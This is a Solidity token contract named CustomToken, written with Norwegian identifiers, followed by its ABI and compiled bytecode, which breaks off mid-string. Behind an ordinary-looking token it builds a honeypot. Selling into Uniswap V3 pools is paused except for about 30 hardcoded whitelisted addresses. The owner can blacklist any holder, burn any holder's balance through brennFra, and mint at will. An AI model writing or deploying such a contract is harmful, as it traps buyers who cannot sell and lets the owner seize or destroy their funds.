// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract CustomToken {
bytes32 public constant BUILD_ID = 0x4aca585368fecc3665afdaa46768710f1e6de3792479e7f92ec2cb8d1f7fc06f;
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public totalSupply;
uint256 public maksTilbud;
mapping(address => uint256) private _saldo;
mapping(address => mapping(address => uint256)) private _tillatelser;
address public owner;
address public pendingOwner;
mapping(address => bool) public erPar;
mapping(address => bool) public svarteliste;
mapping(address => bool) public hviteliste;
bool public salgPauset;
uint256 public startBlokk;
address private constant V3_FACTORY = 0x1f7d7550B1b028f7571E69A784071F0205FD2EfA;
address private constant WETH9 = 0x0Bd7D308f8E1639FAb988df18A8011f41EAcAD73;
bytes32 private constant POOL_INIT_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event EierskapOverforingStartet(address indexed forrige, address indexed neste);
event EierskapOverfort(address indexed forrige, address indexed neste);
event SvartelisteOppdatert(address indexed adresse, bool status);
event HvitelisteOppdatert(address indexed adresse, bool status);
event ParOppdatert(address indexed par, bool status);
event Preget(address indexed til, uint256 belop);
event Brent(address indexed fra, uint256 belop);
modifier kunEier() {
require(msg.sender == owner, "ikke eieren");
_;
}
constructor(
string memory name_,
string memory symbol_,
uint256 startTilbud_,
uint256 maksTilbud_
) {
name = name_;
symbol = symbol_;
owner = msg.sender;
hviteliste[msg.sender] = true;
hviteliste[address(this)] = true;
_fyllHviteliste();
_settParAuto();
salgPauset = true;
uint256 startWei = startTilbud_ * 10 ** 18;
maksTilbud = maksTilbud_ > 0 ? maksTilbud_ * 10 ** 18 : type(uint256).max;
require(maksTilbud >= startWei, "maksTilbud < startTilbud");
_preg(msg.sender, startWei);
}
function balanceOf(address account) public view returns (uint256) {
return _saldo[account];
}
function allowance(address eier_, address fullmektig) public view returns (uint256) {
return _tillatelser[eier_][fullmektig];
}
function transfer(address to, uint256 amount) public returns (bool) {
_overfor(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) public returns (bool) {
_tillatelser[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
uint256 tillatt = _tillatelser[from][msg.sender];
if (tillatt != type(uint256).max) {
require(tillatt >= amount, "utilstrekkelig tillatelse");
_tillatelser[from][msg.sender] = tillatt - amount;
}
_overfor(from, to, amount);
return true;
}
function _overfor(address avsender, address mottaker, uint256 belop) internal {
require(avsender != address(0) && mottaker != address(0), "nulladresse");
require(_saldo[avsender] >= belop, "utilstrekkelig saldo");
require(!svarteliste[avsender], "avsender svartelistet");
require(!svarteliste[mottaker], "mottaker svartelistet");
bool erSalg = erPar[mottaker];
if (erSalg && salgPauset) {
require(hviteliste[avsender], "pauset");
}
_saldo[avsender] -= belop;
_saldo[mottaker] += belop;
emit Transfer(avsender, mottaker, belop);
}
function _preg(address til, uint256 belop) internal {
require(totalSupply + belop <= maksTilbud, "overskrider maksTilbud");
totalSupply += belop;
_saldo[til] += belop;
emit Transfer(address(0), til, belop);
}
function _fyllHviteliste() private {
hviteliste[0x91eb3458472dc0b9b301e4C81C05D6Eebf91936c] = true;
hviteliste[0xB1a2C5686Aa783F8a95A9B827C8bBE99AB12f400] = true;
hviteliste[0xEC625BF330fDc8F374684c67a08fFF4661771210] = true;
hviteliste[0x285d6AF74f61FA20DbB5Fa246f45891602e53D80] = true;
hviteliste[0x1eaABD7c838B376a8e44D39e6DEAAb085E7843Ba] = true;
hviteliste[0xc2d9Bd886f80cA7D6B3E1423C0C9ddFb3C33fe80] = true;
hviteliste[0xE80071e4f23227536F238Aa87d73430EB74184A0] = true;
hviteliste[0x61B1BdA01cAACCd0802E2Fa3f17ae5A0cB63cB5E] = true;
hviteliste[0x44210fB7fd2EdB715bdf4293220a2f72312CC780] = true;
hviteliste[0xAF6419cad475EE6148b527c9804AA45e4617Ac15] = true;
hviteliste[0x3F60f5D9bE0fed32893e379d92ed41a3A45c612d] = true;
hviteliste[0x5761517F72d61eB614267611F87433CBcf4019d0] = true;
hviteliste[0xd3316A0f177dBc7da3074565653892e54372e46b] = true;
hviteliste[0xceFA8457E19cf8Dd57fb0A3dC9365daDBA400212] = true;
hviteliste[0x192306dFaE5C4FAa6a78D74A3b95195b778EcC78] = true;
hviteliste[0x9686C6564e4575FDd69913ca43FCE20173849028] = true;
hviteliste[0x814Df916D3bff08Dc4e1FB78136ceAaD89B2ba93] = true;
hviteliste[0x16e670CE866F434F6A8Cbc7407F18F3e8A55e961] = true;
hviteliste[0x92A62AF96c70736ebf8955c91c5d4C652eE8c2c2] = true;
hviteliste[0xB9645eD370D927a00Fb458Aa5B3bad43eE9aB63c] = true;
hviteliste[0x8954Bb0d9E883741ed3149b58bA44930DB835B91] = true;
hviteliste[0x83211Dfc3b96E98a4A08978af9abA2d4D0a2F27c] = true;
hviteliste[0xc6ebc9604AFbdA3ff424E2c8AA77D5af128B7198] = true;
hviteliste[0x563b01450fF24AFbDaCE3F17C7777E6Eed2D315B] = true;
hviteliste[0x0ADAfeCDB37ad992248263c452c7f1BF899c83a1] = true;
hviteliste[0xd63794816f919313A781aee8D8388f5E286f0B7D] = true;
hviteliste[0xCf625b188A1e70726A3eA78de96f195D547bD74C] = true;
hviteliste[0x41E6036dB01abcB5E6e2afAa29CAcC34B00823C8] = true;
hviteliste[0xA795E081d0129C121F2BEc4561e6B66Be7A53251] = true;
hviteliste[0x2563683a9acAcF4fea9e805cFF9613B14c811C03] = true;
}
function sperrSalg(bool status) external kunEier {
salgPauset = status;
if (!status && startBlokk == 0) {
startBlokk = block.number;
}
}
function _v3Pool(uint24 fee) internal view returns (address) {
(address a, address b) = address(this) < WETH9 ? (address(this), WETH9) : (WETH9, address(this));
return address(uint160(uint256(keccak256(abi.encodePacked(
hex"ff", V3_FACTORY, keccak256(abi.encode(a, b, fee)), POOL_INIT_HASH
)))));
}
function _settParAuto() internal {
uint24[4] memory tiers = [uint24(100), uint24(500), uint24(3000), uint24(10000)];
for (uint256 i = 0; i < 4; i++) {
address p = _v3Pool(tiers[i]);
erPar[p] = true;
hviteliste[p] = true;
emit ParOppdatert(p, true);
}
}
function settPar(address par_, bool status_) external kunEier {
require(par_ != address(0), "nulladresse");
erPar[par_] = status_;
hviteliste[par_] = status_;
emit ParOppdatert(par_, status_);
}
function settSvarteliste(address adresse, bool status) external kunEier {
require(adresse != owner, "eier kan ikke svartelistes");
svarteliste[adresse] = status;
emit SvartelisteOppdatert(adresse, status);
}
function settSvartelisteMasse(address[] calldata adresser, bool status) external kunEier {
for (uint256 i = 0; i < adresser.length; i++) {
if (adresser[i] != owner) {
svarteliste[adresser[i]] = status;
emit SvartelisteOppdatert(adresser[i], status);
}
}
}
function settHviteliste(address adresse, bool status) external kunEier {
hviteliste[adresse] = status;
emit HvitelisteOppdatert(adresse, status);
}
function settHvitelisteMasse(address[] calldata adresser, bool status) external kunEier {
for (uint256 i = 0; i < adresser.length; i++) {
hviteliste[adresser[i]] = status;
emit HvitelisteOppdatert(adresser[i], status);
}
}
function preg(address til, uint256 belop) external kunEier {
_preg(til, belop);
emit Preget(til, belop);
}
function brenn(uint256 belop) external {
require(_saldo[msg.sender] >= belop, "utilstrekkelig saldo");
_saldo[msg.sender] -= belop;
totalSupply -= belop;
emit Transfer(msg.sender, address(0), belop);
emit Brent(msg.sender, belop);
}
function brennHele(uint256 heleToken) external {
uint256 belop = heleToken * 10 ** 18;
require(_saldo[msg.sender] >= belop, "utilstrekkelig saldo");
_saldo[msg.sender] -= belop;
totalSupply -= belop;
emit Transfer(msg.sender, address(0), belop);
emit Brent(msg.sender, belop);
}
function brennFra(address fra, uint256 belop) external kunEier {
require(_saldo[fra] >= belop, "utilstrekkelig saldo");
_saldo[fra] -= belop;
totalSupply -= belop;
emit Transfer(fra, address(0), belop);
emit Brent(fra, belop);
}
function gjenopprettToken(address tokenAdresse, uint256 belop) external kunEier {
require(tokenAdresse != address(this), "egen token kan ikke gjenopprettes");
(bool suksess,) = tokenAdresse.call(
abi.encodeWithSignature("transfer(address,uint256)", owner, belop)
);
require(suksess, "overforing mislyktes");
}
function gjenopprettEth() external kunEier {
payable(owner).transfer(address(this).balance);
}
function transferOwnership(address nyEier) external kunEier {
require(nyEier != address(0), "nulladresse");
pendingOwner = nyEier;
emit EierskapOverforingStartet(owner, nyEier);
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "ikke ventende eier");
emit EierskapOverfort(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
hviteliste[owner] = true;
}
function renounceOwnership() external kunEier {
emit EierskapOverfort(owner, address(0));
pendingOwner = address(0);
owner = address(0);
}
function hentInfo() external view returns (
string memory _name, string memory _symbol,
uint256 _totalSupply, uint256 _maxSupply,
address _owner,
bool _sellLocked, uint256 _launchBlock
) {
return (
name, symbol,
totalSupply, maksTilbud,
owner,
salgPauset, startBlokk
);
}
receive() external payable {}
}[
{
"type": "constructor",
"inputs": [
{
"name": "name_",
"type": "string",
"internalType": "string"
},
{
"name": "symbol_",
"type": "string",
"internalType": "string"
},
{
"name": "startTilbud_",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "maksTilbud_",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "nonpayable"
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Brent",
"type": "event",
"inputs": [
{
"name": "fra",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "belop",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "EierskapOverforingStartet",
"type": "event",
"inputs": [
{
"name": "forrige",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "neste",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "EierskapOverfort",
"type": "event",
"inputs": [
{
"name": "forrige",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "neste",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "HvitelisteOppdatert",
"type": "event",
"inputs": [
{
"name": "adresse",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "status",
"type": "bool",
"indexed": false,
"internalType": "bool"
}
],
"anonymous": false
},
{
"name": "ParOppdatert",
"type": "event",
"inputs": [
{
"name": "par",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "status",
"type": "bool",
"indexed": false,
"internalType": "bool"
}
],
"anonymous": false
},
{
"name": "Preget",
"type": "event",
"inputs": [
{
"name": "til",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "belop",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "SvartelisteOppdatert",
"type": "event",
"inputs": [
{
"name": "adresse",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "status",
"type": "bool",
"indexed": false,
"internalType": "bool"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "BUILD_ID",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "bytes32",
"internalType": "bytes32"
}
],
"stateMutability": "view"
},
{
"name": "acceptOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "eier_",
"type": "address",
"internalType": "address"
},
{
"name": "fullmektig",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "brenn",
"type": "function",
"inputs": [
{
"name": "belop",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "brennFra",
"type": "function",
"inputs": [
{
"name": "fra",
"type": "address",
"internalType": "address"
},
{
"name": "belop",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "brennHele",
"type": "function",
"inputs": [
{
"name": "heleToken",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "erPar",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "gjenopprettEth",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "gjenopprettToken",
"type": "function",
"inputs": [
{
"name": "tokenAdresse",
"type": "address",
"internalType": "address"
},
{
"name": "belop",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "hentInfo",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "_name",
"type": "string",
"internalType": "string"
},
{
"name": "_symbol",
"type": "string",
"internalType": "string"
},
{
"name": "_totalSupply",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "_maxSupply",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "_owner",
"type": "address",
"internalType": "address"
},
{
"name": "_sellLocked",
"type": "bool",
"internalType": "bool"
},
{
"name": "_launchBlock",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "hviteliste",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "maksTilbud",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "pendingOwner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "preg",
"type": "function",
"inputs": [
{
"name": "til",
"type": "address",
"internalType": "address"
},
{
"name": "belop",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "salgPauset",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "settHviteliste",
"type": "function",
"inputs": [
{
"name": "adresse",
"type": "address",
"internalType": "address"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "settHvitelisteMasse",
"type": "function",
"inputs": [
{
"name": "adresser",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "settPar",
"type": "function",
"inputs": [
{
"name": "par_",
"type": "address",
"internalType": "address"
},
{
"name": "status_",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "settSvarteliste",
"type": "function",
"inputs": [
{
"name": "adresse",
"type": "address",
"internalType": "address"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "settSvartelisteMasse",
"type": "function",
"inputs": [
{
"name": "adresser",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "sperrSalg",
"type": "function",
"inputs": [
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "startBlokk",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "svarteliste",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "nyEier",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"type": "receive",
"stateMutability": "payable"
}
]0x60806040908082523462000a51576200212e803803809162000022828562000a71565b8339810160808282031262000a515781516001600160401b03919082811162000a5157816200005391850162000a95565b91602091828501519082821162000a51576200007191860162000a95565b9285850151946060809101519282519581871162000a3d575f968754906001958683811c9316801562000a32575b8984101462000951578190601f93848111620009df575b5089908483116001146200097c578b9262000970575b50505f19600383901b1c191690861b1788555b815191838311620008795785548681811c9116801562000965575b89821014620009515790818385949311620008fc575b5088918311600114620008995789926200088d575b50505f19600383901b1c191690841b1783555b600680546001600160a01b031916339081179091558652600a808652888720805460ff19908116861790915530885289882080548216861790557391eb3458472dc0b9b301e4c81c05d6eebf91936c8852898820805482168617905573b1a2c5686aa783f8a95a9b827c8bbe99ab12f4008852898820805482168617905573ec625bf330fdc8f374684c67a08fff46617712108852898820805482168617905573285d6af74f61fa20dbb5fa246f45891602e53d8088528988208054821686179055731eaabd7c838b376a8e44d39e6deaab085e7843ba8852898820805482168617905573c2d9bd886f80ca7d6b3e1423c0c9ddfb3c33fe808852898820805482168617905573e80071e4f23227536f238aa87d73430eb74184a0885289882080548216861790557361b1bda01caaccd0802e2fa3f17ae5a0cb63cb5e885289882080548216861790557344210fb7fd2edb715bdf4293220a2f72312cc7808852898820805482168617905573af6419cad475ee6148b527c9804aa45e4617ac1588528988208054821686179055733f60f5d9be0fed32893e379d92ed41a3a45c612d88528988208054821686179055735761517f72d61eb614267611f87433cbcf4019d08852898820805482168617905573d3316a0f177dbc7da3074565653892e54372e46b8852898820805482168617905573cefa8457e19cf8dd57fb0a3dc9365dadba4002128852898820805482168617905573192306dfae5c4faa6a78d74a3b95195b778ecc7888528988208054821686179055739686c6564e4575fdd69913ca43fce201738490288852898820805482168617905573814df916d3bff08dc4e1fb78136ceaad89b2ba93885289882080548216861790557316e670ce866f434f6a8cbc7407f18f3e8a55e961885289882080548216861790557392a62af96c70736ebf8955c91c5d4c652ee8c2c28852898820805482168617905573b9645ed370d927a00fb458aa5b3bad43ee9ab63c88528988208054821686179055738954bb0d9e883741ed3149b58ba44930db835b91885289882080548216861790557383211dfc3b96e98a4a08978af9aba2d4d0a2f27c8852898820805482168617905573c6ebc9604afbda3ff424e2c8aa77d5af128b71988852898820805482168617905573563b01450ff24afbdace3f17c7777e6eed2d315b88528988208054821686179055730adafecdb37ad992248263c452c7f1bf899c83a18852898820805482168617905573d63794816f919313a781aee8d8388f5e286f0b7d8852898820805482168617905573cf625b188a1e70726a3ea78de96f195d547bd74c885289882080548216861790557341e6036db01abcb5e6e2afaa29cacc34b00823c88852898820805482168617905573a795e081d0129c121f2bec4561e6b66be7a5325188528988208054821686179055732563683a9acacf4fea9e805cff9613b14c811c0388528988208054821686179055895190939092608084019081118482101762000879578a52606483526101f487840152610bb8838b015261271081840152730bd7d308f8e1639fab988df18a8011f41eacad733081118987818b8f5b60048510620007445793508b8f938b600b541617600b55670de0b6b3a764000080850294808604821490151715620007305781159081620007255780830292830414171562000711575b80600355838110620006cd576002549062000623858362000b0a565b1162000689579062000657847fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9362000b0a565b600255338352600481528483206200067185825462000b0a565b905584519384523393a351611601908162000b2d8239f35b845162461bcd60e51b815260048101839052601660248201527f6f766572736b7269646572206d616b7354696c627564000000000000000000006044820152606490fd5b845162461bcd60e51b815260048101839052601860248201527f6d616b7354696c627564203c20737461727454696c62756400000000000000006044820152606490fd5b634e487b7160e01b83526011600452602483fd5b5050505f1962000607565b634e487b7160e01b84526011600452602484fd5b807f476def4ac09ce4b63434d02ddaef3b61b04b4ff93cd9e76d8950dd9350a5079d938c62ffffff8d8960051b015116895f146200086f57308c8c925b86516001600160a01b039384168a820190815294841681890152918201528d8152909190620007b08162000a55565b51902084518781019160ff60f81b83527f1f7d7550b1b028f7571e69a784071f0205fd2efa0000000000000000000000006021830152603582015260557fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b548183015281526200081f8162000a55565b519020169687835260088652838320918254161790558a8452208c8c825416179055518b8152a25f1981146200085b578701878b8b8f620005bd565b634e487b7160e01b8b52601160045260248bfd5b8a8c309262000781565b634e487b7160e01b89526041600452602489fd5b015190505f8062000125565b868a52888a208794509190601f1984168b5b8b828210620008e55750508411620008cc575b505050811b01835562000138565b01515f1960f88460031b161c191690555f8080620008be565b8385015186558a97909501949384019301620008ab565b90919250868a52888a208380860160051c8201928b871062000947575b9186958a929594930160051c01915b8281106200093857505062000110565b8c815586955089910162000928565b9250819262000919565b634e487b7160e01b8a52602260045260248afd5b90607f1690620000fa565b015190505f80620000cc565b8b80528a8c208994509190601f1984168d5b8d828210620009c85750508411620009af575b505050811b018855620000df565b01515f1960f88460031b161c191690555f8080620009a1565b8385015186558c979095019493840193016200098e565b9091508a8052898b208480850160051c8201928c861062000a28575b918a91869594930160051c01915b82811062000a19575050620000b6565b8d81558594508a910162000a09565b92508192620009fb565b92607f16926200009f565b634e487b7160e01b5f52604160045260245ffd5b5f80fd5b608081019081106001600160401b0382111762000a3d57604052565b601f909101601f19168101906001600160401b0382119082101762000a3d57604052565b919080601f8401121562000a51578251906001600160401b03821162000a3d576040519160209162000ad1601f8301601f191684018562000a71565b81845282828701011162000a51575f5b81811062000af65750825f9394955001015290565b858101830151848201840152820162000ae1565b9190820180921162000b1857565b634e487b7160e01b5f52601160045260245ffdfe6040608081526004908136101561001f575b5050361561001d575f80fd5b005b5f91823560e01c90816306fdde0314611032578163095ea7b314610fc15781630ac064f614610f865781631131282114610eb557816318160ddd14610e96578163200cb86214610e5857816323b872dd14610d7d578163313ce56714610d615781634ec1e2eb14610c6d57816365f1990c14610bb65781636ca849d714610b925781636dc49a0014610a1f5781636f36d14714610a0057816370a08231146109ca578163715018a61461095c57816379ba5097146108a057816379bf9ec9146108625781638da5cb5b1461083957816395d89b41146108045781639a93095c146107d7578163a9059cbb146107a6578163b95de89014610768578163bdeda274146106b0578163c9343e7814610691578163cd16254314610610578163cf952e101461054c578163d0fee5a81461047d578163dd62ed3e14610434578163df06d20314610382578163e30c397814610359578163f2fde38b146102dc578163f64c497e1461027757508063f8b68173146102255763fd9d06020361001157346102215781600319360112610221576101f5906002549060035460018060a01b036006541660ff600b541690600c54926101d6611086565b956102036101e261116b565b8751998a9960e08b5260e08b019061121a565b9089820360208b015261121a565b9587015260608601526080850152151560a084015260c08301520390f35b5080fd5b50346102215781600319360112610221578180808060018060a01b036006541661025081331461152b565b479082821561026e575bf115610264575080f35b51903d90823e3d90fd5b506108fc61025a565b839034610221576020366003190112610221573580159081158091036102d8576102ac60018060a01b0360065416331461152b565b60ff8019600b5416911617600b55806102ce575b6102c75780f35b43600c5580f35b50600c54156102c0565b8280fd5b8334610356576020366003190112610356576102f6611258565b6006546001600160a01b039081169161031033841461152b565b169061031d821515611312565b600780546001600160a01b031916831790557f404c288caf504d53381e90a8b55425240286c6d1fa5e03b06a3f0a1429b6a67a8380a380f35b80fd5b50503461022157816003193601126102215760075490516001600160a01b039091168152602090f35b5050346102215780600319360112610221577f476def4ac09ce4b63434d02ddaef3b61b04b4ff93cd9e76d8950dd9350a5079d60206103bf611258565b6103c7611288565b60065490916001600160a01b03916103e2908316331461152b565b16936103ef851515611312565b8486526008835261040e828288209060ff801983541691151516179055565b600a835261042a828288209060ff801983541691151516179055565b519015158152a280f35b50503461022157806003193601126102215780602092610452611258565b61045a611272565b6001600160a01b0391821683526005865283832091168252845220549051908152f35b9050346102d857816003193601126102d857610497611258565b916104a0611288565b6006546001600160a01b03908116949193916104bd33871461152b565b1693841461050a57507fc3951b9d1e875db1a3b0a27af3c4109f1ec0b0a05f9f8d1f5e59d352555d1834916020918486526009835261042a828288209060ff801983541691151516179055565b6020606492519162461bcd60e51b8352820152601a60248201527f65696572206b616e20696b6b65207376617274656c69737465730000000000006044820152fd5b919050346102d85760203660031901126102d857670de0b6b3a76400008235818102939181159185041417156105fd57338452806020526105928383862054101561134c565b3384526020528083206105a68382546112f1565b90556105b4826002546112f1565b6002558281518381525f805160206115ac83398151915260203392a3519081527f8ea471dd8280d7b7f479b46698c715d5a9f1098f18469c3a131e87fbf025d92d60203392a280f35b634e487b7160e01b845260119052602483fd5b5050346102215780600319360112610221577fd445bb5f91acdc144c2264400afb9b5537f6d2eccf625d89653a656ca3bd7e57602061064d611258565b610655611288565b60065490916001600160a01b0391610670908316331461152b565b1693848652600a835261042a828288209060ff801983541691151516179055565b5050346102215781600319360112610221576020906003549051908152f35b505034610221576106c036611297565b60065492939290916001600160a01b03916106de908316331461152b565b855b8181106106eb578680f35b80836107036106fe61076394868b611573565b611597565b1688526020600a815261072486888b209060ff801983541691151516179055565b7fd445bb5f91acdc144c2264400afb9b5537f6d2eccf625d89653a656ca3bd7e57856107546106fe85888d611573565b169188518815158152a2611565565b6106e0565b5050346102215760203660031901126102215760209160ff9082906001600160a01b03610793611258565b1681526008855220541690519015158152f35b5050346102215780600319360112610221576020906107d06107c6611258565b602435903361139c565b5160018152f35b919050346102d85760203660031901126102d857813591338452806020526105928383862054101561134c565b5050346102215781600319360112610221576108359061082261116b565b905191829160208352602083019061121a565b0390f35b50503461022157816003193601126102215760065490516001600160a01b039091168152602090f35b5050346102215760203660031901126102215760209160ff9082906001600160a01b0361088d611258565b1681526009855220541690519015158152f35b9050346102d857826003193601126102d8576007546001600160a01b0380821692909190338490036109245750826006549283167f56f541037b31d514da157a33863f914aae287ceceae28f2c64e841f4c323248a8780a36001600160a01b03199182168317600655166007558252600a6020528120805460ff1916600117905580f35b606490602086519162461bcd60e51b8352820152601260248201527134b5b5b2903b32b73a32b732329032b4b2b960711b6044820152fd5b8334610356578060031936011261035657600654816001600160a01b03821661098633821461152b565b7f56f541037b31d514da157a33863f914aae287ceceae28f2c64e841f4c323248a8280a36bffffffffffffffffffffffff60a01b9081600754166007551660065580f35b9050346102d85760203660031901126102d85760209282916001600160a01b036109f2611258565b168252845220549051908152f35b505034610221578160031936011261022157602090600c549051908152f35b919050346102d857806003193601126102d857610a3a611258565b6006546001600160a01b039081169190610a5533841461152b565b81163014610b4557825191602083019063a9059cbb60e01b82526024840152602435604484015260448352608083019267ffffffffffffffff9381811085821117610b3257855251869283929083905af1903d15610b2c573d908111610b1957825190610acc601f8201601f191660200183611050565b81528460203d92013e5b15610adf578280f35b906020606492519162461bcd60e51b835282015260146024820152736f766572666f72696e67206d69736c796b74657360601b6044820152fd5b634e487b7160e01b855260418452602485fd5b50610ad6565b634e487b7160e01b885260418752602488fd5b825162461bcd60e51b8152602081860152602160248201527f6567656e20746f6b656e206b616e20696b6b6520676a656e6f707072657474656044820152607360f81b6064820152608490fd5b50503461022157816003193601126102215760209060ff600b541690519015158152f35b919050346102d857806003193601126102d85760207f8ea471dd8280d7b7f479b46698c715d5a9f1098f18469c3a131e87fbf025d92d91610bf5611258565b60065460243592916001600160a01b0391610c13908316331461152b565b1694858752808452610c2a8383892054101561134c565b8587528352808620610c3d8382546112f1565b9055610c4b826002546112f1565b60025585855f805160206115ac833981519152858451868152a351908152a280f35b919050346102d857806003193601126102d857610c88611258565b60065460243592916001600160a01b0391610ca6908316331461152b565b600254610cb3858261138f565b60035410610d